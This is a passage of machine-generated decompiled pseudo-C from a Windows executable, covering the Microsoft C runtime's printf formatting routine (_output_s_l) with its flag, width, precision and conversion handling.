														E00430DC0(0x30,  *((intOrPtr*)(_t701 - 0x2c4)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
														_t704 = _t704 + 0x10;
													}
												}
												__eflags =  *(_t701 - 0xc);
												if(__eflags == 0) {
													L212:
													E00430E00( *((intOrPtr*)(_t701 - 4)), __eflags,  *((intOrPtr*)(_t701 - 4)),  *(_t701 - 0x24),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
													_t704 = _t704 + 0x10;
													goto L213;
												} else {
													L204:
													__eflags =  *(_t701 - 0x24);
													if(__eflags <= 0) {
														goto L212;
													}
													L205:
													 *(_t701 - 0x2dc) = 0;
													 *((intOrPtr*)(_t701 - 0x2c8)) =  *((intOrPtr*)(_t701 - 4));
													 *(_t701 - 0x2cc) =  *(_t701 - 0x24);
													while(1) {
														L206:
														 *(_t701 - 0x2cc) =  *(_t701 - 0x2cc) - 1;
														__eflags =  *(_t701 - 0x2cc);
														if( *(_t701 - 0x2cc) == 0) {
															break;
														}
														L207:
														 *(_t701 - 0x32e) =  *((intOrPtr*)( *((intOrPtr*)(_t701 - 0x2c8))));
														_t563 = E00432820(_t701 - 0x2d0, _t701 - 0x2d8, 6,  *(_t701 - 0x32e) & 0x0000ffff);
														_t704 = _t704 + 0x10;
														 *(_t701 - 0x2dc) = _t563;
														 *((intOrPtr*)(_t701 - 0x2c8)) =  *((intOrPtr*)(_t701 - 0x2c8)) + 2;
														__eflags =  *(_t701 - 0x2dc);
														if( *(_t701 - 0x2dc) != 0) {
															L209:
															 *(_t701 - 0x24c) = 0xffffffff;
															break;
														}
														L208:
														__eflags =  *(_t701 - 0x2d0);
														if(__eflags != 0) {
															L210:
															E00430E00( *((intOrPtr*)(_t701 + 8)), __eflags, _t701 - 0x2d8,  *(_t701 - 0x2d0),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
															_t704 = _t704 + 0x10;
															continue;
														}
														goto L209;
													}
													L211:
													L213:
													__eflags =  *(_t701 - 0x24c);
													if( *(_t701 - 0x24c) >= 0) {
														__eflags =  *(_t701 - 0x10) & 0x00000004;
														if(( *(_t701 - 0x10) & 0x00000004) != 0) {
															E00430DC0(0x20,  *((intOrPtr*)(_t701 - 0x2c4)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
															_t704 = _t704 + 0x10;
														}
													}
												}
												L216:
												__eflags =  *(_t701 - 0x20);
												if( *(_t701 - 0x20) != 0) {
													L0041DD40( *(_t701 - 0x20), 2);
													_t704 = _t704 + 8;
													 *(_t701 - 0x20) = 0;
												}
												while(1) {
													L218:
													 *(_t701 - 0x251) =  *( *(_t701 + 0xc));
													_t665 =  *(_t701 - 0x251);
													 *(_t701 + 0xc) =  *(_t701 + 0xc) + 1;
													__eflags =  *(_t701 - 0x251);
													if( *(_t701 - 0x251) == 0) {
														break;
													}
													L2:
													__eflags =  *(_t701 - 0x24c);
													if( *(_t701 - 0x24c) < 0) {
														break;
													}
													L3:
													__eflags =  *(_t701 - 0x251) - 0x20;
													if( *(_t701 - 0x251) < 0x20) {
														L6:
														 *(_t701 - 0x310) = 0;
														L7:
														 *(_t701 - 0x250) =  *(_t701 - 0x310);
														_t525 =  *(_t701 - 0x250) * 9;
														_t611 =  *(_t701 - 0x25c);
														_t665 = ( *(_t525 + _t611 + 0x4077d8) & 0x000000ff) >> 4;
														 *(_t701 - 0x25c) = ( *(_t525 + _t611 + 0x4077d8) & 0x000000ff) >> 4;
														__eflags =  *(_t701 - 0x25c) - 8;
														if( *(_t701 - 0x25c) != 8) {
															L16:
															 *(_t701 - 0x318) =  *(_t701 - 0x25c);
															__eflags =  *(_t701 - 0x318) - 7;
															if( *(_t701 - 0x318) > 7) {
																continue;
															}
															L17:
															switch( *((intOrPtr*)( *(_t701 - 0x318) * 4 +  &M00430C0C))) {
																case 0:
																	L18:
																	 *(_t701 - 0xc) = 0;
																	_t528 = E004254B0( *(_t701 - 0x251) & 0x000000ff, E0041B2D0(_t701 - 0x40));
																	_t707 = _t704 + 8;
																	__eflags = _t528;
																	if(_t528 == 0) {
																		L24:
																		E00430D10( *(_t701 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																		_t704 = _t707 + 0xc;
																		goto L218;
																	} else {
																		E00430D10( *(_t701 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																		_t707 = _t707 + 0xc;
																		_t616 =  *( *(_t701 + 0xc));
																		 *(_t701 - 0x251) =  *( *(_t701 + 0xc));
																		_t665 =  *(_t701 + 0xc) + 1;
																		__eflags = _t665;
																		 *(_t701 + 0xc) = _t665;
																		asm("sbb eax, eax");
																		 *(_t701 - 0x27c) =  ~( ~( *(_t701 - 0x251)));
																		if(_t665 == 0) {
																			_push(L"(ch != _T(\'\\0\'))");
																			_push(0);
																			_push(0x486);
																			_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																			_push(2);
																			_t540 = L0041AAF0();
																			_t707 = _t707 + 0x14;
																			__eflags = _t540 - 1;
																			if(_t540 == 1) {
																				asm("int3");
																			}
																		}
																		L22:
																		__eflags =  *(_t701 - 0x27c);
																		if( *(_t701 - 0x27c) != 0) {
																			goto L24;
																		} else {
																			 *((intOrPtr*)(L0041A7C0(_t616))) = 0x16;
																			E00419D60(_t616, L"(ch != _T(\'\\0\'))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																			 *(_t701 - 0x2f4) = 0xffffffff;
																			E0041B2A0(_t701 - 0x40);
																			_t518 =  *(_t701 - 0x2f4);
																			goto L229;
																		}
																	}
																case 1:
																	L25:
																	 *(__ebp - 0x2c) = 0;
																	__edx =  *(__ebp - 0x2c);
																	 *(__ebp - 0x28) =  *(__ebp - 0x2c);
																	__eax =  *(__ebp - 0x28);
																	 *(__ebp - 0x18) =  *(__ebp - 0x28);
																	__ecx =  *(__ebp - 0x18);
																	 *(__ebp - 0x1c) = __ecx;
																	 *(__ebp - 0x10) = 0;
																	 *(__ebp - 0x30) = 0xffffffff;
																	 *(__ebp - 0xc) = 0;
																	goto L218;
																case 2:
																	L26:
																	__edx =  *((char*)(__ebp - 0x251));
																	 *(__ebp - 0x31c) =  *((char*)(__ebp - 0x251));
																	 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																	 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																	__eflags =  *(__ebp - 0x31c) - 0x10;
																	if( *(__ebp - 0x31c) > 0x10) {
																		goto L33;
																	}
																	L27:
																	__ecx =  *(__ebp - 0x31c);
																	_t74 = __ecx + 0x430c44; // 0x498d04
																	__edx =  *_t74 & 0x000000ff;
																	switch( *((intOrPtr*)(( *_t74 & 0x000000ff) * 4 +  &M00430C2C))) {
																		case 0:
																			goto L30;
																		case 1:
																			goto L31;
																		case 2:
																			goto L29;
																		case 3:
																			goto L28;
																		case 4:
																			goto L32;
																		case 5:
																			goto L33;
																	}
																case 3:
																	L34:
																	__edx =  *((char*)(__ebp - 0x251));
																	__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
																	if( *((char*)(__ebp - 0x251)) != 0x2a) {
																		__eax =  *(__ebp - 0x18);
																		__eax =  *(__ebp - 0x18) * 0xa;
																		__eflags = __eax;
																		__ecx =  *((char*)(__ebp - 0x251));
																		_t98 = __ecx - 0x30; // -48
																		__edx = __eax + _t98;
																		 *(__ebp - 0x18) = __eax + _t98;
																	} else {
																		__eax = __ebp + 0x14;
																		 *(__ebp - 0x18) = E0042BCB0(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x18);
																		if( *(__ebp - 0x18) < 0) {
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000004;
																			__eflags = __ecx;
																			 *(__ebp - 0x10) = __ecx;
																			 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																			 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																		}
																	}
																	goto L218;
																case 4:
																	L40:
																	 *(__ebp - 0x30) = 0;
																	goto L218;
																case 5:
																	L41:
																	__eax =  *((char*)(__ebp - 0x251));
																	__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
																	if( *((char*)(__ebp - 0x251)) != 0x2a) {
																		__edx =  *(__ebp - 0x30);
																		__edx =  *(__ebp - 0x30) * 0xa;
																		__eflags = __edx;
																		_t109 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																		__ecx = __edx + _t109;
																		 *(__ebp - 0x30) = __ecx;
																	} else {
																		__ecx = __ebp + 0x14;
																		 *(__ebp - 0x30) = E0042BCB0(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) < 0) {
																			 *(__ebp - 0x30) = 0xffffffff;
																		}
																	}
																	goto L218;
																case 6:
																	L47:
																	__edx =  *((char*)(__ebp - 0x251));
																	 *(__ebp - 0x320) =  *((char*)(__ebp - 0x251));
																	 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																	 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																	__eflags =  *(__ebp - 0x320) - 0x2e;
																	if( *(__ebp - 0x320) > 0x2e) {
																		L70:
																		goto L218;
																	}
																	L48:
																	__ecx =  *(__ebp - 0x320);
																	_t117 = __ecx + 0x430c6c; // 0x47e9003
																	__edx =  *_t117 & 0x000000ff;
																	switch( *((intOrPtr*)(( *_t117 & 0x000000ff) * 4 +  &M00430C58))) {
																		case 0:
																			L53:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc));
																			__eflags =  *( *(__ebp + 0xc)) - 0x36;
																			if( *( *(__ebp + 0xc)) != 0x36) {
																				L56:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc));
																				__eflags =  *( *(__ebp + 0xc)) - 0x33;
																				if( *( *(__ebp + 0xc)) != 0x33) {
																					L59:
																					__edx =  *(__ebp + 0xc);
																					__eax =  *( *(__ebp + 0xc));
																					__eflags =  *( *(__ebp + 0xc)) - 0x64;
																					if( *( *(__ebp + 0xc)) == 0x64) {
																						L65:
																						L67:
																						goto L70;
																					}
																					L60:
																					__ecx =  *(__ebp + 0xc);
																					__edx =  *__ecx;
																					__eflags =  *__ecx - 0x69;
																					if( *__ecx == 0x69) {
																						goto L65;
																					}
																					L61:
																					__eax =  *(__ebp + 0xc);
																					__ecx =  *( *(__ebp + 0xc));
																					__eflags = __ecx - 0x6f;
																					if(__ecx == 0x6f) {
																						goto L65;
																					}
																					L62:
																					__edx =  *(__ebp + 0xc);
																					__eax =  *( *(__ebp + 0xc));
																					__eflags =  *( *(__ebp + 0xc)) - 0x75;
																					if( *( *(__ebp + 0xc)) == 0x75) {
																						goto L65;
																					}
																					L63:
																					__ecx =  *(__ebp + 0xc);
																					__edx =  *__ecx;
																					__eflags =  *__ecx - 0x78;
																					if( *__ecx == 0x78) {
																						goto L65;
																					}
																					L64:
																					__eax =  *(__ebp + 0xc);
																					__ecx =  *( *(__ebp + 0xc));
																					__eflags = __ecx - 0x58;
																					if(__ecx != 0x58) {
																						 *(__ebp - 0x25c) = 0;
																						goto L18;
																					}
																					goto L65;
																				}
																				L57:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *((char*)(__ecx + 1));
																				__eflags =  *((char*)(__ecx + 1)) - 0x32;
																				if( *((char*)(__ecx + 1)) != 0x32) {
																					goto L59;
																				} else {
																					 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																					 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																					__ecx =  *(__ebp - 0x10);
																					__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																					 *(__ebp - 0x10) = __ecx;
																					goto L67;
																				}
																			}
																			L54:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *((char*)(__ecx + 1));
																			__eflags =  *((char*)(__ecx + 1)) - 0x34;
																			if( *((char*)(__ecx + 1)) != 0x34) {
																				goto L56;
																			} else {
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) | 0x00008000;
																				 *(__ebp - 0x10) = __ecx;
																				goto L67;
																			}
																		case 1:
																			L68:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																			goto L70;
																		case 2:
																			L49:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc));
																			__eflags = __ecx - 0x6c;
																			if(__ecx != 0x6c) {
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) | 0x00000010;
																				__eflags = __ecx;
																				 *(__ebp - 0x10) = __ecx;
																			} else {
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																			}
																			goto L70;
																		case 3:
																			L69:
																			__eax =  *(__ebp - 0x10);
																			__eax =  *(__ebp - 0x10) | 0x00000800;
																			__eflags = __eax;
																			 *(__ebp - 0x10) = __eax;
																			goto L70;
																		case 4:
																			goto L70;
																	}
																case 7:
																	L71:
																	__ecx =  *((char*)(__ebp - 0x251));
																	 *(__ebp - 0x324) = __ecx;
																	__edx =  *(__ebp - 0x324);
																	__edx =  *(__ebp - 0x324) - 0x41;
																	 *(__ebp - 0x324) = __edx;
																	__eflags =  *(__ebp - 0x324) - 0x37;
																	if( *(__ebp - 0x324) > 0x37) {
																		while(1) {
																			L190:
																			__eflags =  *(_t701 - 0x28);
																			if( *(_t701 - 0x28) != 0) {
																				goto L216;
																			}
																			goto L191;
																		}
																	}
																	L72:
																	_t158 =  *(__ebp - 0x324) + 0x430cd8; // 0x55ff8b0d
																	__ecx =  *_t158 & 0x000000ff;
																	switch( *((intOrPtr*)(__ecx * 4 +  &M00430C9C))) {
																		case 0:
																			L123:
																			 *(__ebp - 0x2c) = 1;
																			__ecx =  *((char*)(__ebp - 0x251));
																			__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																			__eflags = __ecx;
																			 *((char*)(__ebp - 0x251)) = __cl;
																			goto L124;
																		case 1:
																			L73:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			__eflags =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				__eax =  *(__ebp - 0x10);
																				__eax =  *(__ebp - 0x10) | 0x00000800;
																				__eflags = __eax;
																				 *(__ebp - 0x10) = __eax;
																			}
																			goto L75;
																		case 2:
																			L88:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			__eflags =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) | 0x00000800;
																				__eflags = __ecx;
																				 *(__ebp - 0x10) = __ecx;
																			}
																			goto L90;
																		case 3:
																			L146:
																			 *(__ebp - 0x260) = 7;
																			goto L148;
																		case 4:
																			L81:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x288) = E0042BCB0(__ebp + 0x14);
																			__eflags =  *(__ebp - 0x288);
																			if( *(__ebp - 0x288) == 0) {
																				L83:
																				__edx =  *0x43eec8; // 0x4075b0
																				 *(__ebp - 4) = __edx;
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E00420240( *(__ebp - 4));
																				L87:
																				goto L190;
																			}
																			L82:
																			__ecx =  *(__ebp - 0x288);
																			__eflags =  *(__ecx + 4);
																			if( *(__ecx + 4) != 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																				__eflags =  *(__ebp - 0x10) & 0x00000800;
																				if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																					 *(__ebp - 0xc) = 0;
																					__edx =  *(__ebp - 0x288);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x288);
																					__edx =  *__ecx;
																					 *(__ebp - 0x24) =  *__ecx;
																				} else {
																					__edx =  *(__ebp - 0x288);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x288);
																					__eax =  *__ecx;
																					asm("cdq");
																					 *__ecx - __edx =  *__ecx - __edx >> 1;
																					 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																					 *(__ebp - 0xc) = 1;
																				}
																				goto L87;
																			}
																			goto L83;
																		case 5:
																			L124:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			__eax = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			 *(__ebp - 0x44) = 0x200;
																			__eflags =  *(__ebp - 0x30);
																			if( *(__ebp - 0x30) >= 0) {
																				L126:
																				__eflags =  *(__ebp - 0x30);
																				if( *(__ebp - 0x30) != 0) {
																					L129:
																					__eflags =  *(__ebp - 0x30) - 0x200;
																					if( *(__ebp - 0x30) > 0x200) {
																						 *(__ebp - 0x30) = 0x200;
																					}
																					L131:
																					__eflags =  *(__ebp - 0x30) - 0xa3;
																					if( *(__ebp - 0x30) > 0xa3) {
																						 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x20) = L0041D040(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																						__eflags =  *(__ebp - 0x20);
																						if( *(__ebp - 0x20) == 0) {
																							 *(__ebp - 0x30) = 0xa3;
																						} else {
																							__eax =  *(__ebp - 0x20);
																							 *(__ebp - 4) =  *(__ebp - 0x20);
																							 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																							 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																						}
																					}
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					__eax =  *(__ebp + 0x14);
																					__ecx =  *(__eax - 8);
																					__edx =  *(__eax - 4);
																					 *(__ebp - 0x2a8) =  *(__eax - 8);
																					 *(__ebp - 0x2a4) =  *(__eax - 4);
																					__ecx = __ebp - 0x40;
																					_push(E0041B2D0(__ebp - 0x40));
																					__eax =  *(__ebp - 0x2c);
																					_push( *(__ebp - 0x2c));
																					__ecx =  *(__ebp - 0x30);
																					_push( *(__ebp - 0x30));
																					__edx =  *((char*)(__ebp - 0x251));
																					_push( *((char*)(__ebp - 0x251)));
																					__eax =  *(__ebp - 0x44);
																					_push( *(__ebp - 0x44));
																					__ecx =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__edx = __ebp - 0x2a8;
																					_push(__ebp - 0x2a8);
																					__eax =  *0x43e478; // 0x72b0f098
																					_push(__eax);
																					__imp__DecodePointer();
																					__eax =  *__eax();
																					__esp = __esp + 0x1c;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					__eflags =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																						__eflags =  *(__ebp - 0x30);
																						if( *(__ebp - 0x30) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041B2D0(__ebp - 0x40));
																							__edx =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__eax =  *0x43e484; // 0x58d0f098
																							_push(__eax);
																							__imp__DecodePointer();
																							__eax =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__ecx =  *((char*)(__ebp - 0x251));
																					__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
																					if( *((char*)(__ebp - 0x251)) == 0x67) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																						__eflags =  *(__ebp - 0x10) & 0x00000080;
																						if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041B2D0(__ebp - 0x40));
																							__eax =  *(__ebp - 4);
																							_push(__eax);
																							__ecx =  *0x43e480; // 0x5930f098
																							_push(__ecx);
																							__imp__DecodePointer();
																							__eax =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__edx =  *(__ebp - 4);
																					__eax =  *( *(__ebp - 4));
																					__eflags =  *( *(__ebp - 4)) - 0x2d;
																					if( *( *(__ebp - 4)) == 0x2d) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						__edx =  *(__ebp - 4);
																						__edx =  *(__ebp - 4) + 1;
																						__eflags = __edx;
																						 *(__ebp - 4) = __edx;
																					}
																					__eax =  *(__ebp - 4);
																					 *(__ebp - 0x24) = E00420240( *(__ebp - 4));
																					do {
																						L190:
																						__eflags =  *(_t701 - 0x28);
																						if( *(_t701 - 0x28) != 0) {
																							goto L216;
																						}
																						goto L191;
																					} while ( *(__ebp - 0x324) > 0x37);
																					goto L72;
																				}
																				L127:
																				__ecx =  *((char*)(__ebp - 0x251));
																				__eflags = __ecx - 0x67;
																				if(__ecx != 0x67) {
																					goto L129;
																				}
																				L128:
																				 *(__ebp - 0x30) = 1;
																				goto L131;
																			}
																			L125:
																			 *(__ebp - 0x30) = 6;
																			goto L131;
																		case 6:
																			L75:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																			__eflags =  *(__ebp - 0x10) & 0x00000810;
																			if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																				__ebp + 0x14 = E0042BCB0(__ebp + 0x14);
																				 *(__ebp - 0x284) = __ax;
																				__cl =  *(__ebp - 0x284);
																				 *(__ebp - 0x248) = __cl;
																				 *(__ebp - 0x24) = 1;
																			} else {
																				 *(__ebp - 0x280) = 0;
																				__edx = __ebp + 0x14;
																				__eax = E0042DB00(__ebp + 0x14);
																				 *(__ebp - 0x258) = __ax;
																				__eax =  *(__ebp - 0x258) & 0x0000ffff;
																				__ecx = __ebp - 0x248;
																				__edx = __ebp - 0x24;
																				 *(__ebp - 0x280) = E00432820(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																				__eflags =  *(__ebp - 0x280);
																				if( *(__ebp - 0x280) != 0) {
																					 *(__ebp - 0x28) = 1;
																				}
																			}
																			__edx = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			while(1) {
																				L190:
																				__eflags =  *(_t701 - 0x28);
																				if( *(_t701 - 0x28) != 0) {
																					goto L216;
																				}
																				goto L191;
																			}
																		case 7:
																			goto L0;
																		case 8:
																			L109:
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x298) = E0042BCB0(__ebp + 0x14);
																			__eax = E00432210();
																			__eflags = __eax;
																			if(__eax != 0) {
																				L119:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				__eflags =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					__edx =  *(__ebp - 0x298);
																					__eax =  *(__ebp - 0x24c);
																					 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																				} else {
																					__eax =  *(__ebp - 0x298);
																					 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																				}
																				 *(__ebp - 0x28) = 1;
																				while(1) {
																					L190:
																					__eflags =  *(_t701 - 0x28);
																					if( *(_t701 - 0x28) != 0) {
																						goto L216;
																					}
																					goto L191;
																				}
																			}
																			L110:
																			__edx = 0;
																			__eflags = 0;
																			if(0 == 0) {
																				 *(__ebp - 0x32c) = 0;
																			} else {
																				 *(__ebp - 0x32c) = 1;
																			}
																			__eax =  *(__ebp - 0x32c);
																			 *(__ebp - 0x29c) =  *(__ebp - 0x32c);
																			__eflags =  *(__ebp - 0x29c);
																			if( *(__ebp - 0x29c) == 0) {
																				_push(L"(\"\'n\' format specifier disabled\", 0)");
																				_push(0);
																				_push(0x695);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				__eax = L0041AAF0();
																				__esp = __esp + 0x14;
																				__eflags = __eax - 1;
																				if(__eax == 1) {
																					asm("int3");
																				}
																			}
																			__eflags =  *(__ebp - 0x29c);
																			if( *(__ebp - 0x29c) != 0) {
																				L118:
																				while(1) {
																					L190:
																					__eflags =  *(_t701 - 0x28);
																					if( *(_t701 - 0x28) != 0) {
																						goto L216;
																					}
																					goto L191;
																				}
																			} else {
																				L117:
																				 *((intOrPtr*)(L0041A7C0(__ecx))) = 0x16;
																				__eax = E00419D60(__ecx, L"(\"\'n\' format specifier disabled\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																				 *(__ebp - 0x2f8) = 0xffffffff;
																				__ecx = __ebp - 0x40;
																				__eax = E0041B2A0(__ecx);
																				__eax =  *(__ebp - 0x2f8);
																				goto L229;
																			}
																		case 9:
																			L151:
																			 *(__ebp - 8) = 8;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__edx =  *(__ebp - 0x10);
																				__edx =  *(__ebp - 0x10) | 0x00000200;
																				__eflags = __edx;
																				 *(__ebp - 0x10) = __edx;
																			}
																			goto L153;
																		case 0xa:
																			L145:
																			 *(__ebp - 0x30) = 8;
																			goto L146;
																		case 0xb:
																			L90:
																			__eflags =  *(__ebp - 0x30) - 0xffffffff;
																			if( *(__ebp - 0x30) != 0xffffffff) {
																				__edx =  *(__ebp - 0x30);
																				 *(__ebp - 0x328) =  *(__ebp - 0x30);
																			} else {
																				 *(__ebp - 0x328) = 0x7fffffff;
																			}
																			__eax =  *(__ebp - 0x328);
																			 *(__ebp - 0x290) =  *(__ebp - 0x328);
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 4) = E0042BCB0(__ebp + 0x14);
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																			__eflags =  *(__ebp - 0x10) & 0x00000810;
																			if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																				L101:
																				__eflags =  *(__ebp - 4);
																				if( *(__ebp - 4) == 0) {
																					__edx =  *0x43eec8; // 0x4075b0
																					 *(__ebp - 4) = __edx;
																				}
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x28c) =  *(__ebp - 4);
																				while(1) {
																					L104:
																					__ecx =  *(__ebp - 0x290);
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					__eflags = __ecx;
																					if(__ecx == 0) {
																						break;
																					}
																					L105:
																					__eax =  *(__ebp - 0x28c);
																					__ecx =  *( *(__ebp - 0x28c));
																					__eflags = __ecx;
																					if(__ecx == 0) {
																						break;
																					}
																					L106:
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																				}
																				L107:
																				__eax =  *(__ebp - 0x28c);
																				__eax =  *(__ebp - 0x28c) -  *(__ebp - 4);
																				__eflags = __eax;
																				 *(__ebp - 0x24) = __eax;
																				goto L108;
																			} else {
																				L94:
																				__eflags =  *(__ebp - 4);
																				if( *(__ebp - 4) == 0) {
																					__eax =  *0x43eecc; // 0x4075a0
																					 *(__ebp - 4) = __eax;
																				}
																				 *(__ebp - 0xc) = 1;
																				__ecx =  *(__ebp - 4);
																				 *(__ebp - 0x294) =  *(__ebp - 4);
																				while(1) {
																					L97:
																					__edx =  *(__ebp - 0x290);
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					__eflags =  *(__ebp - 0x290);
																					if( *(__ebp - 0x290) == 0) {
																						break;
																					}
																					L98:
																					__ecx =  *(__ebp - 0x294);
																					__edx =  *( *(__ebp - 0x294)) & 0x0000ffff;
																					__eflags =  *( *(__ebp - 0x294)) & 0x0000ffff;
																					if(( *( *(__ebp - 0x294)) & 0x0000ffff) == 0) {
																						break;
																					}
																					L99:
																					 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																					 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																				}
																				L100:
																				 *(__ebp - 0x294) =  *(__ebp - 0x294) -  *(__ebp - 4);
																				__ecx =  *(__ebp - 0x294) -  *(__ebp - 4) >> 1;
																				 *(__ebp - 0x24) = __ecx;
																				L108:
																				while(1) {
																					L190:
																					__eflags =  *(_t701 - 0x28);
																					if( *(_t701 - 0x28) != 0) {
																						goto L216;
																					}
																					goto L191;
																				}
																			}
																		case 0xc:
																			L144:
																			 *(__ebp - 8) = 0xa;
																			goto L153;
																		case 0xd:
																			L147:
																			 *(__ebp - 0x260) = 0x27;
																			L148:
																			 *(__ebp - 8) = 0x10;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				 *((char*)(__ebp - 0x14)) = 0x30;
																				 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
																				__eflags =  *(__ebp - 0x260) + 0x51;
